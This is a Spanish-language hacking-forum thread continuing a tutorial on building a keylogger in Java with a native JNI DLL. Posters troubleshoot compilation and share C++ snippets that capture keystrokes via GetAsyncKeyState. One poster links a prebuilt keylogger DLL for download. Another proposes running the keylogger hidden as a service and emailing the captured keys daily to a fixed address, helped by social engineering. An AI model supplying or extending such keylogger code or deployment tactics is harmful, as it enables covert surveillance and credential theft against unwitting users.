Autor
|
Tema: [Tutorial] Keylogger en Java (JNI) (Leído 48,894 veces)
|
highfredo
Desconectado
Mensajes: 10
|
donde consigo el -jni.h y el jni_md.h?? edit: solucionado ____ aprobecho para poner otro inconveniente... al ejecutarlo me dice que no tiene main, pero... ¿que tendria que poner en el main?? codigo del error si pongo un main Exception in thread "Thread-0" java.lang.UnsatisfiedLinkError: keylog$Keylogger.get()C at keylog$Keylogger.get(Native Method) at keylog$Keylogger.run(keylog.java:33) este es el main public static void main(String[] args) {
Keylogger Hilo= new Keylogger(); Hilo.start(); //y por aqui tu code
}
|
|
« Última modificación: 28 Mayo 2010, 21:28 pm por highfredo »
|
En línea
|
|
|
|
Leyer
Desconectado
Mensajes: 786
leyer@elhacker.net
|
En el main solo has de crear la instancia he iniciar con start(); y donde dices en el comentario que hay va el code haslo mejor separado, es decir el main aparte y el keylogger otra clase, o seguramente creaste mal la lib ya que te compila pero en si puede estar mal generada y no lo sabes ,asi que verifica que copiaste bien el code de la cabecera .h
Un Saludo.
|
|
|
En línea
|
|
|
|
highfredo
Desconectado
Mensajes: 10
|
nada, que no va salta el mismo error, y he vuelto a compilarlo todo desde 0 puede ser porque el eclipse no me deje trabajar con .java si no estan en packages??
|
|
|
En línea
|
|
|
|
Leyer
Desconectado
Mensajes: 786
leyer@elhacker.net
|
Copia el contenido del Keylogger.cpp nuevamente, es que le habia dejado una variables initilizadas. Esta es la dll generada Keylogger.dllhttp://www.mediafire.com/?e03u9r0emaerf9gUn Saludo.
|
|
« Última modificación: 29 Septiembre 2010, 05:19 am por LEYER »
|
En línea
|
|
|
|
danielo-
Desconectado
Mensajes: 218
:)
|
buen aporte! esta genial.. pero una duda... por que no retornar JStrings en vez de JChars?? asi ya se podrían diferenciar entre tecla [ctrl] [shift] y demás?.. Aunque bueno, creo q eso ya es idea de cada quien. Saludos!
|
|
|
En línea
|
|
|
|
Leyer
Desconectado
Mensajes: 786
leyer@elhacker.net
|
buen aporte! esta genial.. pero una duda... por que no retornar JStrings en vez de JChars?? asi ya se podrían diferenciar entre tecla [ctrl] [shift] y demás?.. Aunque bueno, creo q eso ya es idea de cada quien. Saludos! Cierto, lo que paso fue que no sabia mucho de JNI en ese entonces , y asi se quedo, pero lo importante es que logre la base, ya la modificaciones depende de cada quien
|
|
|
En línea
|
|
|
|
danielo-
Desconectado
Mensajes: 218
:)
|
buen aporte! esta genial.. pero una duda... por que no retornar JStrings en vez de JChars?? asi ya se podrían diferenciar entre tecla [ctrl] [shift] y demás?.. Aunque bueno, creo q eso ya es idea de cada quien. Saludos! Cierto, lo que paso fue que no sabia mucho de JNI en ese entonces , y asi se quedo, pero lo importante es que logre la base, ya la modificaciones depende de cada quien Bueno, un granito de arena para los que le interese, la manera para devolver un JString es: if (GetAsyncKeyState('A') == -32767){ return env->NewStringUTF("a");} if (GetAsyncKeyState('B') == -32767){return env->NewStringUTF("b");} if (GetAsyncKeyState('C') == -32767){return env->NewStringUTF("c");} //...etc, etc. //y todo lo demás es lo mismo :) //Aunque tendrían que cambiarle el tipo de retorno del metodo, //poner jstring en vez de jchar, quedando así: JNIEXPORT jstring JNICALL Java_Keylogger_getString(JNIEnv * env, jobject obj){ // y obviamente en la clase java igual hay que cambiar una linea de códico private native String getString();
Hay otras formas de hacerlo, pero esta me pareció la mas sencilla de aprender ...
|
|
|
En línea
|
|
|
|
egyware
|
man un favor cuando hago el compilado de proyecto en c me sale estos errores In function 'jchar Java_Keylogger_get(JNIEnv", _jobject")'; [Warning] passing NULL used for non-pointer converting 2 of 'BOOL ShowWindow(HWND__",int)' [Linker error] undefined reference to 'WinMain@16' Id returned 1 exit status
[Linker error] undefined reference to 'WinMain@16'Debes recompilar para crear una "biblioteca dinamica(dll)" no un programa por eso te pide el main. Saludos
|
|
|
En línea
|
|
|
|
estebanvr
Desconectado
Mensajes: 28
|
olap, una consulta, para que tu keylogger sea mas "productivo" xD no seria mejor ponerlo como servicio (con el wrapper x ejemplo) y en lugar de escribir en consola guardarlo en un archivo de texto, y que diariamente envie a un correo ya establecidoa traves de javaMail x ejemplo y con un poco de ingenieria social ... xD . supongo k tenias eso en mente pero no lo colocaste por etica ... igual supongo k mi idea no fue la primera ni sera la ultima U_U lo k si estoy un poco en duda, es si lo que hiciste no seria mejor con JNA ?? simplemente el trabajo seria ubicar la DLL del api de windows que captura los eventos del teclado, el problema es cual ??? alguien sabe ?? en lo personal me parece mas facil y transparente usar JNA .... de todas maneras se agradece el aporte Si el API para esa funcion se llama int GetAsyncKeyState(int vkey) y esta en la dll llamada user32.dll
|
|
|
En línea
|
|
|
|
jackl007
Desconectado
Mensajes: 1.403
[UserRPL]
|
Excelenteeee!!!! felicidades, me ha sorprendido la tecnica de usar JAVA Y C++ para el proposito!
|
|
|
En línea
|
|
|
|
|
|